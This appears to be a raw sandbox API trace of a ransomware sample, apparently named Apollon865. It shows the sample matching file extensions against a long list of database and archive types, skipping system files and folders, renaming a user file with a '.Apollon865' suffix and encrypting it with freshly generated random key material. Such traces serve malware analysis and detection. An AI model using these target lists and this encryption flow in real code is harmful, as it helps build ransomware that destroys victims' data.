	[0053.114] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.115] lstrlenW (lpString="zip") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.115] lstrlenW (lpString="tgz") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.115] lstrlenW (lpString="vbox") returned 4
	[0053.115] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.115] lstrlenW (lpString="vdi") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.115] lstrlenW (lpString="vhd") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.115] lstrlenW (lpString="vhdx") returned 4
	[0053.115] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.115] lstrlenW (lpString="avhd") returned 4
	[0053.115] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.115] lstrlenW (lpString="db") returned 2
	[0053.115] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.115] lstrlenW (lpString="db2") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.115] lstrlenW (lpString="db3") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.115] lstrlenW (lpString="dbf") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.115] lstrlenW (lpString="mdf") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.115] lstrlenW (lpString="mdb") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.115] lstrlenW (lpString="sql") returned 3
	[0053.115] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.115] lstrlenW (lpString="sqlite") returned 6
	[0053.115] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1
	[0053.115] lstrlenW (lpString="sqlite3") returned 7
	[0053.115] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1
	[0053.115] lstrlenW (lpString="sqlitedb") returned 8
	[0053.115] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1
	[0053.115] lstrlenW (lpString="xml") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.116] lstrlenW (lpString="$er") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.116] lstrlenW (lpString="4dd") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.116] lstrlenW (lpString="4dl") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.116] lstrlenW (lpString="^^^") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.116] lstrlenW (lpString="abs") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.116] lstrlenW (lpString="abx") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.116] lstrlenW (lpString="accdb") returned 5
	[0053.116] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0053.116] lstrlenW (lpString="accdc") returned 5
	[0053.116] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0053.116] lstrlenW (lpString="accde") returned 5
	[0053.116] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0053.116] lstrlenW (lpString="accdr") returned 5
	[0053.116] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0053.116] lstrlenW (lpString="accdt") returned 5
	[0053.116] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0053.116] lstrlenW (lpString="accdw") returned 5
	[0053.116] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0053.116] lstrlenW (lpString="accft") returned 5
	[0053.116] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0053.116] lstrlenW (lpString="adb") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.116] lstrlenW (lpString="adb") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.116] lstrlenW (lpString="ade") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.116] lstrlenW (lpString="adf") returned 3
	[0053.116] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.117] lstrlenW (lpString="adn") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.117] lstrlenW (lpString="adp") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.117] lstrlenW (lpString="alf") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.117] lstrlenW (lpString="ask") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.117] lstrlenW (lpString="btr") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.117] lstrlenW (lpString="cat") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.117] lstrlenW (lpString="cdb") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.117] lstrlenW (lpString="ckp") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.117] lstrlenW (lpString="cma") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.117] lstrlenW (lpString="cpd") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.117] lstrlenW (lpString="dacpac") returned 6
	[0053.117] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1
	[0053.117] lstrlenW (lpString="dad") returned 3
	[0053.117] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.117] lstrlenW (lpString="dadiagrams") returned 10
	[0053.117] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1
	[0053.117] lstrlenW (lpString="daschema") returned 8
	[0053.117] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1
	[0053.117] lstrlenW (lpString="db-journal") returned 10
	[0053.117] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1
	[0053.117] lstrlenW (lpString="db-shm") returned 6
	[0053.117] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1
	[0053.117] lstrlenW (lpString="db-wal") returned 6
	[0053.117] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1
	[0053.117] lstrlenW (lpString="dbc") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.118] lstrlenW (lpString="dbs") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.118] lstrlenW (lpString="dbt") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.118] lstrlenW (lpString="dbv") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.118] lstrlenW (lpString="dbx") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.118] lstrlenW (lpString="dcb") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.118] lstrlenW (lpString="dct") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.118] lstrlenW (lpString="dcx") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.118] lstrlenW (lpString="ddl") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.118] lstrlenW (lpString="dlis") returned 4
	[0053.118] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.118] lstrlenW (lpString="dp1") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.118] lstrlenW (lpString="dqy") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.118] lstrlenW (lpString="dsk") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.118] lstrlenW (lpString="dsn") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.118] lstrlenW (lpString="dtsx") returned 4
	[0053.118] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.118] lstrlenW (lpString="dxl") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.118] lstrlenW (lpString="eco") returned 3
	[0053.118] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.135] lstrlenW (lpString="ecx") returned 3
	[0053.135] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.135] lstrlenW (lpString="edb") returned 3
	[0053.135] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.135] lstrlenW (lpString="epim") returned 4
	[0053.135] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.135] lstrlenW (lpString="fcd") returned 3
	[0053.135] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.135] lstrlenW (lpString="fdb") returned 3
	[0053.135] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.135] lstrlenW (lpString="fic") returned 3
	[0053.135] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.135] lstrlenW (lpString="flexolibrary") returned 12
	[0053.135] lstrcmpiW (lpString1=" Gallery.url", lpString2="flexolibrary") returned -1
	[0053.135] lstrlenW (lpString="fm5") returned 3
	[0053.135] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.135] lstrlenW (lpString="fmp") returned 3
	[0053.135] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.135] lstrlenW (lpString="fmp12") returned 5
	[0053.135] lstrcmpiW (lpString1="y.url", lpString2="fmp12") returned 1
	[0053.135] lstrlenW (lpString="fmpsl") returned 5
	[0053.135] lstrcmpiW (lpString1="y.url", lpString2="fmpsl") returned 1
	[0053.135] lstrlenW (lpString="fol") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.136] lstrlenW (lpString="fp3") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.136] lstrlenW (lpString="fp4") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.136] lstrlenW (lpString="fp5") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.136] lstrlenW (lpString="fp7") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.136] lstrlenW (lpString="fpt") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.136] lstrlenW (lpString="frm") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.136] lstrlenW (lpString="gdb") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.136] lstrlenW (lpString="gdb") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.136] lstrlenW (lpString="grdb") returned 4
	[0053.136] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.136] lstrlenW (lpString="gwi") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.136] lstrlenW (lpString="hdb") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.136] lstrlenW (lpString="his") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.136] lstrlenW (lpString="ib") returned 2
	[0053.136] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.136] lstrlenW (lpString="idb") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.136] lstrlenW (lpString="ihx") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.136] lstrlenW (lpString="itdb") returned 4
	[0053.136] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.136] lstrlenW (lpString="itw") returned 3
	[0053.136] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.136] lstrlenW (lpString="jet") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.137] lstrlenW (lpString="jtx") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.137] lstrlenW (lpString="kdb") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.137] lstrlenW (lpString="kexi") returned 4
	[0053.137] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.137] lstrlenW (lpString="kexic") returned 5
	[0053.137] lstrcmpiW (lpString1="y.url", lpString2="kexic") returned 1
	[0053.137] lstrlenW (lpString="kexis") returned 5
	[0053.137] lstrcmpiW (lpString1="y.url", lpString2="kexis") returned 1
	[0053.137] lstrlenW (lpString="lgc") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.137] lstrlenW (lpString="lwx") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.137] lstrlenW (lpString="maf") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.137] lstrlenW (lpString="maq") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.137] lstrlenW (lpString="mar") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.137] lstrlenW (lpString="marshal") returned 7
	[0053.137] lstrcmpiW (lpString1="ery.url", lpString2="marshal") returned -1
	[0053.137] lstrlenW (lpString="mas") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.137] lstrlenW (lpString="mav") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.137] lstrlenW (lpString="maw") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.137] lstrlenW (lpString="mdbhtml") returned 7
	[0053.137] lstrcmpiW (lpString1="ery.url", lpString2="mdbhtml") returned -1
	[0053.137] lstrlenW (lpString="mdn") returned 3
	[0053.137] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.137] lstrlenW (lpString="mdt") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.138] lstrlenW (lpString="mfd") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.138] lstrlenW (lpString="mpd") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.138] lstrlenW (lpString="mrg") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.138] lstrlenW (lpString="mud") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.138] lstrlenW (lpString="mwb") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.138] lstrlenW (lpString="myd") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.138] lstrlenW (lpString="ndf") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.138] lstrlenW (lpString="nnt") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.138] lstrlenW (lpString="nrmlib") returned 6
	[0053.138] lstrcmpiW (lpString1="ry.url", lpString2="nrmlib") returned 1
	[0053.138] lstrlenW (lpString="ns2") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.138] lstrlenW (lpString="ns3") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.138] lstrlenW (lpString="ns4") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.138] lstrlenW (lpString="nsf") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.138] lstrlenW (lpString="nv") returned 2
	[0053.138] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.138] lstrlenW (lpString="nv2") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.138] lstrlenW (lpString="nwdb") returned 4
	[0053.138] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.138] lstrlenW (lpString="nyf") returned 3
	[0053.138] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.139] lstrlenW (lpString="odb") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.139] lstrlenW (lpString="odb") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.139] lstrlenW (lpString="oqy") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.139] lstrlenW (lpString="ora") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.139] lstrlenW (lpString="orx") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.139] lstrlenW (lpString="owc") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.139] lstrlenW (lpString="p96") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.139] lstrlenW (lpString="p97") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.139] lstrlenW (lpString="pan") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.139] lstrlenW (lpString="pdb") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.139] lstrlenW (lpString="pdm") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.139] lstrlenW (lpString="pnz") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.139] lstrlenW (lpString="qry") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.139] lstrlenW (lpString="qvd") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.139] lstrlenW (lpString="rbf") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.139] lstrlenW (lpString="rctd") returned 4
	[0053.139] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.139] lstrlenW (lpString="rod") returned 3
	[0053.139] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.139] lstrlenW (lpString="rodx") returned 4
	[0053.140] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.140] lstrlenW (lpString="rpd") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.140] lstrlenW (lpString="rsd") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.140] lstrlenW (lpString="sas7bdat") returned 8
	[0053.140] lstrcmpiW (lpString1="lery.url", lpString2="sas7bdat") returned -1
	[0053.140] lstrlenW (lpString="sbf") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.140] lstrlenW (lpString="scx") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.140] lstrlenW (lpString="sdb") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.140] lstrlenW (lpString="sdc") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.140] lstrlenW (lpString="sdf") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.140] lstrlenW (lpString="sis") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.140] lstrlenW (lpString="spq") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.140] lstrlenW (lpString="te") returned 2
	[0053.140] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.140] lstrlenW (lpString="teacher") returned 7
	[0053.140] lstrcmpiW (lpString1="ery.url", lpString2="teacher") returned -1
	[0053.140] lstrlenW (lpString="tmd") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.140] lstrlenW (lpString="tps") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.140] lstrlenW (lpString="trc") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.140] lstrlenW (lpString="trc") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.140] lstrlenW (lpString="trm") returned 3
	[0053.140] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.141] lstrlenW (lpString="udb") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.141] lstrlenW (lpString="udl") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.141] lstrlenW (lpString="usr") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.141] lstrlenW (lpString="v12") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.141] lstrlenW (lpString="vis") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.141] lstrlenW (lpString="vpd") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.141] lstrlenW (lpString="vvv") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.141] lstrlenW (lpString="wdb") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.141] lstrlenW (lpString="wmdb") returned 4
	[0053.141] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.141] lstrlenW (lpString="wrk") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.141] lstrlenW (lpString="xdb") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.141] lstrlenW (lpString="xld") returned 3
	[0053.141] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.141] lstrlenW (lpString="xmlff") returned 5
	[0053.141] lstrcmpiW (lpString1="y.url", lpString2="xmlff") returned 1
	[0053.141] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.Apollon865") returned 75
	[0053.141] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url.apollon865"), dwFlags=0x1) returned 1
	[0053.142] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.142] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.142] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.143] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.143] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.143] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.143] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.144] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x154
	[0053.145] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.147] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.147] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.148] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.148] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.148] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.148] CloseHandle (hObject=0x154) returned 1
	[0053.148] CloseHandle (hObject=0x118) returned 1
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.149] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="..") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="windows") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="bootmgr") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="temp") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="pagefile.sys") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="boot") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ids.txt") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="ntuser.dat") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="perflogs") returned 1
	[0053.149] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2="MSBuild") returned 1
	[0053.149] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0053.149] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url") returned 64
